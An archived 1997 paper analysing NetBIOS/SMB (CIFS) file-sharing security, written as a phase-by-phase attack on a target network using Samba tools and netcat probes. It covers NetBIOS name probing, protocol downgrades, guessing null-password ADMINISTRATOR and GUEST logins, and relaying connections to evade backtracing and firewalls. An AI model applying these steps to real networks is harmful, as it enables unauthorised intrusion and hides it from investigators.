home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / network / cifs.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  117.4 KB  |  2,290 lines

  1.  
  2.   CIFS: Common Insecurities Fail Scrutiny
  3.   =======================================
  4.  *Hobbit*, Avian Research, hobbit@avian.org, January 1997
  5.  
  6. Abstract
  7. ========
  8. An analysis of TCP/IP NetBIOS file-sharing protocols is presented, and the
  9. steps involved in making a client to server SMB connection described in some
  10. detail.  Emphasis is placed on protocol and administrative vulnerabilities
  11. at
  12. various stages and fixes/workarounds for some of them, with the hope that
  13. the
  14. reader will better understand attacks and defenses alike.  Several examples
  15. are presented, based upon using programs from the Unix Samba package to
  16. probe
  17. a target IP network and survey it for potential problems.
  18. Introduction
  19. ============
  20. We will explore the Shared Message Block protocol and related issues, at the
  21. network level and higher, in the interest of presenting useful knowledge
  22. about
  23. Microsoft networking [loosely aka any of CIFS, NetBEUI/NetBIOS, Lan Manager
  24. compatible] security issues.  Microsoft systems and applications, based on
  25. NT
  26. and various flavors of Windows, are forcibly entering homes and offices the
  27. world over and all expecting to speak SMB-based filesharing protocols among
  28. themselves as well as with products from other vendors.  As the network
  29. security community has come to expect from most commercial offerings, these
  30. systems are distributed with poorly configured security settings which are
  31. seldom changed or even reviewed by their new owners before being plugged
  32. into
  33. the Internet.  This leaves many of them vulnerable to trivial attacks, and
  34. administrators who *do* try to address the security issues often miss or
  35. misconfigure things, perhaps making their systems less obviously vulnerable
  36. but nonetheless still vulnerable.  A major factor in the difficulty is that
  37. many security practitioners are venturing into new territory here, which
  38. turns out to be riddled with unexpected and undocumented pitfalls.  People
  39. relatively new to the overall networking security field, including many of
  40. those implementing and installing said operating systems, often lack the
  41. experience gained from other OSes and environments and have no idea where to
  42. look for potential problems.
  43. No specific audience is targeted here, but administrators with a primarily
  44. Unix and NFS background that are now being asked to also support Windows and
  45. NT environments may benefit the most from this.  A necessarily Unix-centric
  46. viewpoint is taken, since that is where the author's main strengths are, but
  47. more importantly because Unix-based source code for a protocol
  48. implementation
  49. is freely available.  Andy Tridgell's Samba package represents an amazing
  50. amount of very solid and still-evolving work, and allows Unix systems to
  51. interoperate with Microsoft and Lan Manager platforms to access files and
  52. other resources over TCP/IP networks.  The examples and discussion herein
  53. refer to the "stable release" version 1.9.15 patchlevel 8 of Samba, with
  54. some minimal modifications geared toward exploring the security aspects
  55. of the protocol.  While not the latest release, it suffices here, and the
  56. documentation that comes with it is highly recommended reading.  The
  57. evolving
  58. Internet-draft for the Common Internet File System, or CIFS, is also a key
  59. reference work that expands upon original or "core" SMB and explains most of
  60. what the boys in Redmond hope will become a full Internet standard.  Their
  61. own
  62. implementations mostly adhere to the draft, and many other vendors already
  63. support CIFS or some subset thereof.  A few issues specific to NT
  64. necessarily
  65. appear, but NT security itself is a whole different bucket of worms and is
  66. mostly outside the scope of this text.
  67. So far there seems to be very little hard information available about this,
  68. although I am aware of at least one other ongoing related effort.  Several
  69. megabytes of NT-security archives, random whitepapers, RFCs, the CIFS spec,
  70. the Samba stuff, a few MS knowledge-base articles, strings extracted from
  71. binaries, and packet dumps have been dutifully waded through during the
  72. information-gathering stages of this project, and there are *still* many
  73. missing pieces.  Some compatible platforms were unavailable for testing,
  74. notably OS/2.  While often tedious, at least the way has been generously
  75. littered with occurrences of clapping hand to forehead and muttering
  76. "crikey,
  77. what are they *thinking*?!"  The intent is not to compete against other
  78. works
  79. in progress, it is rather to aid them in moving forward.
  80. This document may be freely copied and quoted in whole or part, provided
  81. that
  82. proper attribution is included.  Many of the ideas contained herein are not
  83. new, although it is possible that one or two hitherto unknown problems or
  84. methods have been independently discovered.  The point is to collect the
  85. information into one place and describe a stepwise procedure for evaluating
  86. this type of network environment, in a way that those of us who have
  87. hitherto
  88. mostly shunned any dealings with Microsoft and other PC network products can
  89. readily understand.
  90. Groundwork: What's out there?
  91. =============================
  92. Little needs to be said here.  Given a target network or set of IP
  93. addresses,
  94. well-known methods can be used for finding the target hosts -- the procedure
  95. which at least one large contractor refers to as "network contour
  96. assessment."
  97. DNS zone dumps in conjunction with tools such as "fping" can quickly locate
  98. active machines.  To specifically locate potential SMB servers, scanning for
  99. TCP port 139 is a fairly safe bet.  In the absence of packet filtering,
  100. connection attempts there either open or get refused so it is unnecessary to
  101. wait around for long timeouts.  If machines respond to pinging or other
  102. connectivity tests but TCP connections to 139 time out, then it is likely
  103. that
  104. there is a packet filter in the way protecting against NetBIOS traffic.  A
  105. Unix parallel would be running something like "rpcinfo -p" against a set of
  106. targets to find NFS servers, which may or may not be protected by a filter
  107. blocking traffic to the portmapper at TCP/UDP 111.
  108. We will therefore assume having collected a list of potential SMB servers,
  109. and
  110. proceed to attack a single target therein.  Note however that information
  111. gleaned from neighboring machines may be useful, just as in the traditional
  112. Unix-based environment.  Remembering various information about a network as
  113. a
  114. whole and plugging it back into specific host attacks is a classic approach
  115. amply detailed in numerous papers.
  116. Phase 0: Name determination
  117. ===========================
  118. To establish an SMB session to a typical target, one must not only have its
  119. IP
  120. address but also know its "computer name."  This is an arbitrary name
  121. similar
  122. to a DNS hostname assigned by an administrator, unique within an
  123. organization
  124. or at least a given LAN, and in many installations the computername and DNS
  125. name are the same for administrative convenience.  Name resolution is by
  126. definition a separate entity from SMB itself, and employs a variety of
  127. methods
  128. including static files, DNS, WINS, and local-wire broadcasts.  When a
  129. machine
  130. is running NetBIOS over TCP/IP, or "NBT", it attaches its own little name
  131. service to UDP port 137, which makes a continual effort to both locate and
  132. disseminate as much info as it can about services on the local LAN.  One of
  133. its functions is periodically broadcasting its own set of names on to the
  134. local wire, to notify immediate neighbors that it exists and offers
  135. services.
  136. IP routers generally do not forward these broadcasts, so passive receivers
  137. outside an immediate subnet will not learn these names or which IP hosts
  138. they
  139. belong to.  Fortunately there is usually an easy way to remotely determine
  140. the
  141. name, known as a "node status query."  The name service also replies to
  142. direct
  143. queries about certain names associated with its own particular host, and if
  144. it
  145. is running as a WINS server it can give out even more information.
  146. There are two basic query types -- IP address, and node status.  Status
  147. query
  148. might be more properly called name query, since sending one should elicit an
  149. answer containing all of a target's NetBIOS names.  Both are remarkably
  150. similar in structure to DNS queries, and are indeed a variant of the DNS
  151. protocol itself.  A NetBIOS address query is for resource record type 32 and
  152. a
  153. status query is type 33; both of class IN or 1.  With traditional NetBEUI
  154. over
  155. non-IP transports such as with local-LAN IPX, computer names are normally
  156. uppercase, 16 bytes long, and padded with spaces which are illegal
  157. characters
  158. in the DNS spec for hostnames.  To get around this in IP environments,
  159. NetBIOS
  160. names are mangled into a rather bizarre format.  The official spec for this
  161. is
  162. in RFCs 1001 and 1002, but to quickly sum it up: Each ASCII character in a
  163. name is split into 4-bit halves, and each half is added to ascii value 0x41
  164. [uppercase "A"] to form a new byte.  Each original character therefore
  165. becomes
  166. two mangled characters in the range A-P, doubling the entire length to 32
  167. bytes.  Thus, the name "FEH" gets padded out with spaces and becomes
  168.  ascii string "FEH             "  -- is
  169.  hex 46 45 48 20 20 20 20 20 20 20 20 20 20 20 20 20  -- split into
  170.  hex 4 6 4 5 4 8 2 0 2 0 2 0 2 0 2 0 2 0 ...etc...  -- add to "A" gives
  171.  hex 45 47 45 46 45 49 43 41 43 41 43 41 ...etc...  -- which is
  172.  mangled string "EGEFEICACACACACACACACACACACACACA"
  173. The name_mangle() routine in Samba's util.c does this translation.  The
  174. characteristic "...CACACACA" string trailer makes NetBIOS names easily
  175. recognizable when they show up in packet dumps and such.  Of particular
  176. interest is the wildcard name "*", but padded with *nulls* instead of
  177. spaces.
  178. This mangles to "CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  Under most
  179. circumstances,
  180. name-service listeners are required to reply to queries for this wildcard
  181. name
  182. as well as for their own computernames.  Therefore sending a status query
  183. for this "*" name is very likely to produce a name reply as resource records
  184. containing the target's NetBIOS names, which oddly enough come back in
  185. *non-mangled* format.  Multiple copies of some names usually show up, but
  186. they
  187. are subtly different.  In practice the 16th byte of a non-mangled name is a
  188. type byte, which is a different animal from a DNS resource-record type!
  189. When
  190. a NetBIOS machine comes up its "name registration" broadcasts contain
  191. multiple
  192. instances of its own name and other strings, but with several different
  193. *NetBIOS* name types that can indicate different services.  Note herein that
  194. mangled names are of length 32 or 0x20, address queries are RR type 32, and
  195. several returned names have *type* 0x20.  Therefore a lot of 0x20s show up
  196. in
  197. these DNS-style packets and can make things rather confusing.  There seem to
  198. be many name types, not particularly well documented except maybe in
  199. knowledge
  200. bases or resource kits, but the important ones are
  201.  0x00 base computernames and workgroups, also in "*" queries
  202.  0x01 master browser, in magic __MSBROWSE__ cookie
  203.  0x03 messaging/alerter service; name of logged-in user
  204.  0x20 resource-sharing "server service" name
  205.  0x1B domain master-browser name
  206.  0x1C domain controller name
  207.  0x1E domain/workgroup master browser election announcement [?]
  208. The mangling example above has 0x20 as its type byte, therefore building the
  209. name variant used when connecting to fileservers.  Server and workstation
  210. machines alike can provide various different services, and are thus usually
  211. aware of more than one name/type at once.  In fact most of them return a
  212. group
  213. of five or so in a status reply, including the base computer name and
  214. whatever
  215. "workgroup" the target is a member of.  Name type 0 should be used with the
  216. special "*" query which is null-padded anyway, or a response is unlikely.
  217. If
  218. NO name of type 0x20 is present in the list, it is unlikely that the machine
  219. in question has been configured to share any of its own resources and
  220. attempts
  221. to connect sessions to it will likely fail.  Name type 0x3 in the reply
  222. often
  223. reveals the username logged in at the machine's console, and should be
  224. collected as a potential username to try against this or neighboring
  225. targets.
  226. The base name may also be the same as a username, since in typical small
  227. office environments the machines are often associated with specific people.
  228.  
  229. The special name "^A^B__MSBROWSE__^B^A" [last char being control-A, or type
  230. 1]
  231. indicates a "master browser" which is a machine that collects info about
  232. neighboring machines -- in particular, their IP addresses.  A master browser
  233. is a fortunate find since we can likely get a "browse list" from that
  234. machine
  235. [described later] and then possibly query that same target for all the other
  236. names and addresses it claims to know about.
  237. One can do "nbtstat -A {ip-addr}" from a Microsoft platform to direct "*"
  238. queries to a specific IP-aware target and obtain its name list.  In the
  239. absence of a mapping in an LMHOSTS file or some other mechanism, a specific
  240. machine can be found using "nbtstat -a \\NAME" if it is on the local wire.
  241. An
  242. address query is sent to the broadcast address of the connected subnet, and
  243. if
  244. a machine responds then a unicast status query is sent to it.  For reasons
  245. unfathomable Microsoft platforms usually send status replies FROM UDP 137 TO
  246. UDP 137, regardless of the UDP source ports of query packets, so the
  247. querying
  248. application must locally bind to 137 [requiring root on Unix boxes] to
  249. ensure
  250. that replies can be received.  Oddly enough, *address* replies are normally
  251. returned to whatever source port the query was from!  To handle this fine
  252. example of the IP savvy out there in Redmond, a tiny patch is needed for the
  253. "nmblookup" Samba program, which as it comes grabs a high port and is
  254. unlikely
  255. to receive status replies.  It will then work similarly to "nbtstat" when
  256. run
  257. as root, sending the "*" query if given the "-S \*" argument [quoting "*" to
  258. the shell], and also accepts a *unicast* target IP as the -B argument.
  259. Nmblookup also has an interesting feature that allows setting the hex name
  260. type in a query -- for example, a name of the form "TARGET#1C" forces the
  261. name
  262. type to be 0x1C.  A slightly more "raw" equivalent of the generic "*" query,
  263. which sometimes elicits a response containing no names but a response
  264. nonetheless, can be done using netcat to locally bind UDP port 137 and send
  265. a
  266. query.  Feed the following input bytes into "nc -v -u -w 3 -p 137 target
  267. 137"
  268. and the output through "cat -v":
  269.  0x00 # . 1
  270.  0x03 # . 2 # xid
  271.  0x00 # . 3
  272.  0x00 # . 4 # flags
  273.  0x00 # . 5
  274.  0x01 # . 6 # qcnt
  275.  0x00 # . 7
  276.  0x00 # . 8 # rcnt
  277.  0x00 # . 9
  278.  0x00 # . 10 # nscnt
  279.  0x00 # . 11
  280.  0x00 # . 12 # acnt
  281.  0x20 #   13 # namelen
  282.  0x43 # C 14 # mangled "*" ...
  283.  0x4b # K 15
  284.  0x41 # A 16
  285.  0x41 # A 17
  286.  0x41 # A 18
  287.  0x41 # A 19
  288.  0x41 # A 20
  289.  0x41 # A 21
  290.  0x41 # A 22
  291.  0x41 # A 23
  292.  0x41 # A 24
  293.  0x41 # A 25
  294.  0x41 # A 26
  295.  0x41 # A 27
  296.  0x41 # A 28
  297.  0x41 # A 29
  298.  0x41 # A 30
  299.  0x41 # A 31
  300.  0x41 # A 32
  301.  0x41 # A 33
  302.  0x41 # A 34
  303.  0x41 # A 35
  304.  0x41 # A 36
  305.  0x41 # A 37
  306.  0x41 # A 38
  307.  0x41 # A 39
  308.  0x41 # A 40
  309.  0x41 # A 41
  310.  0x41 # A 42
  311.  0x41 # A 43
  312.  0x41 # A 44
  313.  0x41 # A 45 # [embedded type byte]
  314.  0x00 # . 46 # terminator
  315.  0x00 # . 47
  316.  0x21 # ! 48 # querytype NBTSTAT
  317.  0x00 # . 49
  318.  0x01 # . 50 # class IN
  319. In rare cases, an additional "scope ID" may be tacked on to mangled names in
  320. the format "EGEFEICACACACACACACACACACACACACA.scope" just like in multipart
  321. DNS
  322. names.  A scope does not contain spaces, and therefore can and indeed is
  323. sent
  324. unchanged in hostname queries.  Scope names are further discussed later
  325. under
  326. "defenses", since they can play a role therein.
  327. Firing "*" queries at either selected hosts or the IP subnet's directed
  328. broadcast is another way of probing around for active SMB hosts.  Most
  329. routers
  330. do not forward directed-subnet broadcast, but ones that do may get you all
  331. the
  332. answers in one or two shots!  In most cases, scanning for TCP port 139 and
  333. following up with unicast UDP status queries is still likely to be faster
  334. and
  335. more reliable, especially when a target for some reason won't respond to "*"
  336. queries.  This sometimes happens if the messaging or alerter service is shut
  337. down on the target, which is one recommended security procedure in several
  338. documents.  If you suspect this case, try asking for "WORKGROUP", parts of
  339. the
  340. target's DNS name, and other likely strings like variants on the name of the
  341. organization or people within it.  Status-querying explicitly for a
  342. machine's
  343. name or workgroup using type 0 should also cause it to respond, and a lack
  344. of
  345. any type 0x3 names in the list would confirm that messaging is disabled.
  346. Whether due to packet filters or some other reason, getting *no* reply for
  347. all this effort is still not a reason to give up -- it is UDP after all, and
  348. further name guesses can be plugged in during the next phase.
  349. Phase 1: The TCP session
  350. ========================
  351. Next we open a TCP connection to port 139 on the target.  There is no longer
  352. a
  353. need for any special local ports, so smbclient can run as a normal Unix
  354. user.
  355. The "called" target's computername of the appropriate type and the "caller"
  356. client name are name-mangled and plugged into a Session Request block sent
  357. to
  358. the server.  The idea here is to sanity-check the name determination step
  359. and
  360. ensure that one is conversing with the correct machine -- especially wise in
  361. the inevitable cases of outdated LMHOSTS files or DNS data.  If the target
  362. server's name is right a "positive response" is sent back, and the
  363. connection
  364. remains open.  If the wrong server name is passed in, a "negative response"
  365. is
  366. sent along with an error code, and the server end of the connection starts a
  367. TCP shutdown by sending a FIN.  Nothing further can be done with the failed
  368. connection; a new one must be opened to try a different servername.  The
  369. name
  370. of the connecting client is largely irrelevant and can even be null,
  371. although
  372. its name type is generally 0.  However, the name the client supplies is the
  373. name that gets logged during later phases such as user logins.  The client
  374. name may also affect behavior against NT machines which have such settable
  375. parameters as which workstations a given user may log in from.  It appears
  376. that the source IP address is *completely* irrelevant to Microsoft-based
  377. servers, which simply accept the given client name.  This is a first hint
  378. about how much functionality is left up to the client.  A vague Unix
  379. parallel
  380. might be faking the client hostname in mount requests to be something in the
  381. target's export list, which usually worked against early NFS
  382. implementations.
  383. This session request is only the first of many steps taken behind the scenes
  384. by most client commands.  From a command prompt on a Microsoft box one does
  385. "net use \\TARGET\SHARENAME" to begin access to a filesystem, or "net view
  386. \\TARGET" to see a target's list of available services.  Samba's "smbclient"
  387. accepts the same syntax, although the backslashes need to be isolated from
  388. the shell by enclosing in quotes or specifying \\\\TARGET\\RESOURCE.  It
  389. also
  390. accepts "-L TARGET" to list the available resources, which in any case is
  391. what we want to do first.  Smbclient by default picks up the caller name
  392. from the hostname of the Unix machine it is running on, but we can specify
  393. "-n fakename" to set it to something arbitrary.
  394. An error response is usually one of two: either the passed servername wasn't
  395. correct, or the name was right but no service of the requested name type is
  396. running.  Smbclient translates these errors respectively as "called name not
  397. present" or "not listening on called name."  Usually if server-name/type
  398. 0x20
  399. is unreachable, the target is not sharing its resources at all and there
  400. isn't
  401. much more we can do with it.  Sessions to server-name/type 0x3 may work to
  402. reach the messaging service and is sometimes a way to check if we got at
  403. least
  404. one name right, but short of sending annoying messages to the console user
  405. it
  406. is not particularly useful.  Smbclient has a "-M" argument to do message
  407. sending.  The spec provides for a "not listening for CALLING name" error,
  408. implying a potential facility for access restriction by specific client, but
  409. today's implementations don't seem to care.
  410. If all UDP name queries above have failed, the same sorts of guessing at the
  411. target's computername can be tried here, one per TCP connection.  If the
  412. connection is relayed via an intermediate machine such as a proxy, the
  413. client
  414. must still supply the correct name of the target server.  Microsoft clients
  415. can be faked out with an appropriate LMHOSTS entry with the name of the
  416. final
  417. destination but the IP address of the *relayer*.  As long as the final
  418. target
  419. sees its own name in the request, it doesn't matter how it got there.  An
  420. example fast way to script up different LMHOSTS names on the fly would be
  421. having "#INCLUDE ramdisk-file-name" in the main LMHOSTS file, to avoid
  422. repeatedly writing to the hard drive just to test a bunch of targets.  The
  423. CIFS spec mentions that the magic target name "*SMBSERVER" is supposed to be
  424. some sort of wildcard, but it is optional and no current Microsoft platforms
  425. seem to accept it to open sessions.  Samba does, simply because by design it
  426. accepts any old pair of names for sessions and more sensibly logs the
  427. client's
  428. IP address if appropriately configured.
  429. Using a relay host can foil backtracing efforts by someone who notices odd
  430. network activity or log entries and goes to investigate.  A suitable relayer
  431. program can take just about any form, such a simple netcat script, a SOCKS
  432. gateway, or even Microsoft's own "Catapult" proxy package.  The relay would
  433. presumably listen on TCP 139 and forward the connection, but with smbclient
  434. the relay can listen on any other port and we can supply the "-p {portnum}"
  435. argument to reach it.  If a high-port relay is already behind a packet
  436. filter
  437. that blocks TCP 139 but allows >1024, not only is the firewall bypassed but
  438. the resulting server connection may look like a completely normal one from a
  439. trusted inside host.
  440. Some Linux distributions anticipate being used as Samba servers, and come
  441. with an "nbsession" entry in inetd.conf but no server program to handle the
  442. connection.  These will listen on TCP 139 but immediately close, while
  443. noting an appropriate error in the syslog.
  444. A brief digression about SMB
  445. ============================
  446. So far none of this has involved any actual Shared Message Block protocol.
  447. The CIFS spec contains a detailed rundown on SMB packet formats.  While SMB
  448. can run over various transports including IP, here we only discuss its usual
  449. interaction via TCP 139.  A 4-byte block length is sent down the TCP stream
  450. followed by the block itself, so the transport handlers then know how much
  451. to
  452. read from or write to the network.  SMB is thus independent of how IP-level
  453. packets split up the stream -- it doesn't care, it just keeps reading a
  454. connected socket until it satisfies the length's worth or times out.  SMB
  455. blocks can be up to 65536 bytes long *excluding* the length integer, but in
  456. practice the blocks are usually smaller.  SMB also trusts the TCP reliable
  457. transport layer to segregate different client sessions.  In an alternate
  458. mode
  459. that uses UDP 138 the data blocks look almost the same, except that 12 bytes
  460. of unused "filler" are used under UDP to pass various session and sequencing
  461. context info.  Many SMB request types support what is called the "AndX"
  462. mechanism, which provides a way to send several requests at once.  Fields in
  463. these specify how to locate any subsequent SMB requests that were "batched"
  464. into this block.  See the spec for more information.
  465. The Samba code builds SMB blocks into buffers using a bunch of hairy macros
  466. with names like "SSVAL" to move short and long integers around and convert
  467. byte-ordering.  [For a fun time, try unsnarling "byteorder.h".]  Since Samba
  468. builds these internal buffers to include the 4-byte block length at offset
  469. 0,
  470. any other offsets described here are relative to that.  After the block
  471. length
  472. comes the SMB header itself, starting at offset 4 in our reference frame
  473. with
  474. 0xFF, 'S', 'M', 'B'.  A one-byte command code and several fixed-length
  475. fields
  476. follow, ending the SMB header proper.  The command code indicates the type
  477. of
  478. SMB being requested or responded to.  The request / response descriptions in
  479. CIFS exclude the header, and only detail what follows.  After the header is
  480. a
  481. length byte and a variable-length bunch of two-byte "parameter words", and
  482. finally any associated buffers which can contain values, strings, file data,
  483. or whatever.  A rough chart of this is given in Appendix C.  The parameter
  484. words begin at offset 37 and are where most of the work gets done; in Samba
  485. they are called "smb_vwvN" where N is a number starting with 0.  The buffers
  486. start at a variable offset depending on how many parameter words preceded;
  487. Samba has a routine called smb_buf() to dig through and find it.  It should
  488. be
  489. noted that while the leading length bytes are in network order, all values
  490. inside the SMB blocks must be in "Intel" or little-endian order!  In general
  491. both the block structure *and* what gets placed into it is all rather
  492. complex
  493. and confusing, and if it's any reassurance, the comments in earlier versions
  494. of Samba hint that much of it started as total guesswork and verbatim
  495. copying
  496. of block sections from packet dumps of sessions between MS boxes.  As more
  497. SMB-savvy contributors came into the Samba development picture, these blind
  498. but somehow functional shots in the dark became better explained and
  499. recoded.
  500. When working with NT we often encounter something called "unicode", a
  501. somewhat
  502. warped international character encoding standard.  Strings are encoded into
  503. sequences of two-byte words, wasting twice the storage space required.  This
  504. causes the string "ABC" to appear as "41 00 42 00 43 00" in hex dumps, and
  505. pops up in registry entries, SMB packets, and many other places.  The
  506. lengths
  507. of unicode strings are usually stored elsewhere, such as [but not always] in
  508. an SMB parameter word, and there is sometimes confusion about precisely how
  509. long any string is.  For example, is unicode "ABC" of size 3 or size 6?  If
  510. we
  511. include and count a terminating null as required when sending passwords, is
  512. it
  513. then of size 4, 7, or perhaps even 8?  To make matters even worse the
  514. strings
  515. must in theory be word-aligned in memory, and to force this to be true a
  516. leading null is supposed to be *inserted* ahead of the first character.  The
  517. latest Samba server version contains a small fix for a common case where NT
  518. clients cannot quite decide consistently about the length of a null password
  519. string, and may send it as either 1 or 0.
  520. One important part of the header we need to be aware of is two words
  521. beginning
  522. at offset 9 -- the response class and error codes, called smb_rcls and
  523. smb_err.  These describe protocol errors in some detail, and there is a
  524. fairly
  525. large translation table of the most common errors near the end of client.c.
  526. The two error classes we usually ever see in practice are DOS and SERVER.
  527. There are several different possible class/error response combinations to
  528. describe any one kind of problem, such as failure to authenticate a user,
  529. and
  530. which pairs get sent back depends upon what type of platform the target is.
  531. The patch kit below includes a small routine called interpret_error() that
  532. boils an assortment of common errors down into a couple of standard return
  533. codes.  This helps us distinguish between fatal errors, nonfatal errors and
  534. password problems, which figures significantly in a later phase of the
  535. attack.
  536. Some of the information here is not documented in CIFS, but can be found by
  537. doing "net helpmsg {smb_err #}" under NT, which seems to have a very
  538. complete
  539. set of error message texts available.
  540. Phase 2: Dialect negotiation
  541. ============================
  542. Assuming an open TCP connection and successful session request, SMB request
  543. blocks may now be sent.  The next step is for client and server to agree on
  544. the "dialect" of SMB protocol they can support.  Over time, SMB has evolved
  545. from earliest "Microsoft networks" core protocol, through two types of Lan
  546. Manager and up to the current variant that NT uses.  Each new dialect adds a
  547. couple of features, to support things like new authentication protocols and
  548. long filenames.  The client sends a list of dialects it supports as [get
  549. this!] a bunch of null-terminated ASCII strings, including entries like
  550.  PC NETWORK PROGRAM 1.0
  551.  MICROSOFT NETWORKS 1.03
  552.  LANMAN1.0
  553.  LM1.2X002
  554.  LANMAN2.1
  555.  NT LM 0.12
  556. which the server string-compares against dialects it recognizes and picks
  557. the
  558. "highest" common protocol level.  There is a big comment in Samba's server.c
  559. just before reply_negprot() describing what most server platforms do with
  560. this.  A response is built and sent back to the client, containing several
  561. important items: a numeric index into the dialect list to indicate which to
  562. use, some security-relevant flags, and an optional 8-byte "encryption key"
  563. to
  564. use for authentication.  This "key" is a random challenge nonce that the
  565. server generates and temporarily remembers.  A confusingly named "session
  566. key" is also sent, which is just some sort of unique but mostly unimportant
  567. identifier and *not* the same as the cryptkey.
  568. Most SMB servers support backward dialect compatibility, and even if we
  569. support the latest NT we can always lie and exclude some of the later
  570. dialects
  571. from the list we send.  Sessions between two NT machines involve more
  572. complex
  573. security protocols, so for our attack purposes it is definitely worth our
  574. while to convince a server that we are a dumb old client that can't handle
  575. the fancier stuff.  Microsoft clients can't do this but smbclient can, with
  576. a
  577. settable max_protocol variable, and we should therefore plug "-m LANMAN2"
  578. into
  579. our command line to force the server to dumb itself down somewhat.
  580. Smbclient
  581. also parses dialects as strings here, not numeric levels.
  582. The security mode flags appear in smb_vwv1, and we need to pay attention to
  583. the low two bits thereof.  Smbclient tells us what this "sec mode" is at
  584. debug
  585. level 3.  The earlier NetBIOS implementations optionally required a simple
  586. password to connect to a shared filesystem, and had no real concept of *who*
  587. was connecting as long as the correct password was supplied.  Everyone using
  588. such a fileshare must know the single password for it, which is considered
  589. fairly lame from a security standpoint.  This is called "share-level
  590. security", and is used by Windows for Workgroups, Samba if appropriately
  591. configured, and maybe some other Lan Manager platforms.  Later dialects have
  592. a
  593. concept of individual user login, and indicate this "user-level security" by
  594. setting the LSB of the security flags.  The next higher bit in the flags
  595. indicates whether the client should use "password encryption" or not.  Thus
  596. if
  597. smbclient reports "sec mode 3" as it does when connecting to most NT
  598. servers,
  599. both of these bits are set.  Sometimes we see a reference to "server-level
  600. security", but this simply means that authentication data is forwarded to a
  601. Domain Controller machine for validation and does not affect the mode bits.
  602. Dialect negotiation must occur on a connection before other SMB types may be
  603. sent.  If dialect negotiation fails for some reason, the server sends a FIN
  604. along with the response and the TCP connection must be closed and reopened.
  605. One way to observe this is to try negotiating the dialect either twice or
  606. not
  607. at all on a given connection.  If a server is running in user-level security
  608. and a protocol is negotiated that does not support user login at all, the
  609. server will generally set the user-level bit anyway and wind up refusing to
  610. allow most other SMB transactions on that connection until successful user
  611. authentication is performed.  This happens during the next phase.
  612. Phase 3: SMB session setup
  613. ==========================
  614. A server running in user-level security generally requires this step before
  615. allowing access to shared resources.  This phase can be skipped entirely
  616. against share-level servers, or used anyway to pass additional info about
  617. buffer sizes and client capabilities.  Normally here is where usernames and
  618. passwords get plugged in and the "attack" really begins.  The official CIFS
  619. name for this phase is SessionSetupAndX, implying once again that additional
  620. SMB requests can and often are batched into this block.  Note carefully that
  621. despite the unfortunately confusing name, this "session setup" is a very
  622. DIFFERENT animal from the RFC1001/1002-style TCP "session setup" done in
  623. phase 0!  In general the different TCP sessions distinguish between client
  624. *machines*, while a "UID" determined during this SMB setup phase
  625. distinguishes
  626. an individual *user* on a given client.  This implies that all SMB traffic
  627. between a given client and server pair may pass over a single TCP connection
  628. regardless of originating user, although this is not required behavior by
  629. any
  630. means since servers can support several concurrent TCP connections.  It also
  631. implies that multiple SMB setup requests can be sent across the single
  632. connection instance, which is perhaps the key thing that throws it wide open
  633. to various attacks.
  634. The contents of this block and the server response vary somewhat depending
  635. on the agreed dialect level and security flags.  The most relevant items in
  636. the request are a username and either a plaintext password or a hash derived
  637. from it.  Other items include maximum buffer sizes, various other client
  638. information such as its domain and running OS [all of which can be faked
  639. up],
  640. and perhaps further SMB commands via the AndX mechanism.
  641. Microsoft boxes collect a username and password through one or another
  642. "logon"
  643. dialog.  Under WFWG, the simplest command-line way to change them on the fly
  644. is "net logon {user}" which sets them up for a subsequent "net use".  NT
  645. requires a login to use the client workstation and saves the username and
  646. password from that as default credentials for subsequent filesharing, but
  647. these can be overridden in its "net" command line with optional /USER and
  648. password arguments.  Smbclient accepts "-U username", and asks for a
  649. password
  650. that it will plug in at the appropriate time.  The unmodified version
  651. accepts
  652. a password on the command line as an optional argument after the sharename,
  653. or
  654. by using the format "-U user%passwd".  In many cases the password must be in
  655. all UPPERCASE, but some servers may accept or even require mixed-case even
  656. in
  657. LANMAN-only dialect -- this is a bit of a crap shoot, so try it both ways.
  658. The Samba server has hooks to try a couple of different permutations in an
  659. effort to authenticate oddball clients, with appropriate warnings about
  660. reduced keyspace.
  661. Under user-level security a successful login means we are basically "in" as
  662. either the target user or a guest.  The SMB response contains some strings
  663. containing the server's OS and version, and an important SMB header field
  664. called the UID.  This is not quite the same thing as a Unix UID, although
  665. for
  666. convenience Samba does use the Unix UID of the authenticating user here.
  667. Microsoft servers construct an internal set of user credentials and rights
  668. and
  669. assign the UID as a token that refers to it.  The UID is in theory unique
  670. only
  671. within the context of the enclosing TCP connection -- if multiple SMB
  672. sessions
  673. are active across one TCP connection the UID distinguishes the separate
  674. users
  675. there, and in theory different users on different TCP sockets could wind up
  676. being assigned the same UID.  There is also a process-ID or PID header field
  677. that the *client* initiates, but that seems to hold little relevance except
  678. for some file-locking calls.  Again, regardless of server platform the UID
  679. is
  680. merely a reference token and while playing games with UID/GID values may be
  681. effective against NFS servers, trying it here it only produces "invalid UID"
  682. SMB errors or is simply ignored by the server.  The server can optionally
  683. set
  684. a flag in the setup response that indicates that a given session is a
  685. "guest"
  686. login.  Samba does this and NT does not, but the setting of this bit seems
  687. irrelevant to the rights a given active UID has on the server anyway.
  688. There are several possible error responses here, which our interpret_error
  689. routine turns into something we can recognize to mean whether to continue
  690. the
  691. attack or give up.  An unknown username and/or password in most cases comes
  692. back as "access denied" unless unknown/null users get mapped to GUEST.
  693. There
  694. are some errors that imply that the supplied credentials were right but
  695. there
  696. is some other problem, such as "account disabled" or "cannot log in from the
  697. network."  In such cases further attempts with a given username will
  698. probably
  699. be unproductive, but remember that here the TCP connection remains open
  700. regardless of the return status, allowing ample opportunity for retries with
  701. any other username and password.  Protocol errors or transient server
  702. problems
  703. can also occur, some of which may imply that a new TCP session is needed.
  704. Two important usernames to try right off against Microsoft platforms are
  705. ADMINISTRATOR and GUEST, since these usually exist out of the box and all
  706. too
  707. often have null passwords.  If the ADMINISTRATOR login has been renamed to
  708. "something obscure" as recommended in several texts, its new name may show
  709. up
  710. somewhere on the target network as a type 0x3 anyway.  As mentioned before,
  711. any other base computernames and type 0x3 messaging names collected from the
  712. target network are all potential usernames.  A machine running the Microsoft
  713. web server may have an account of the form IUSR_{basename} that got quietly
  714. created during setup, and it is said that the SQL server pulls similar
  715. stunts.
  716. A null username or one that is unknown to the server is often accepted as a
  717. guest login that allows some limited amount of poking around -- often enough
  718. access to at least read files from the server if not write to them.  Any
  719. hint
  720. at an account used for disk backups in an NT environment should be pursued,
  721. since such an account probably has "backup" privileges to read the entire
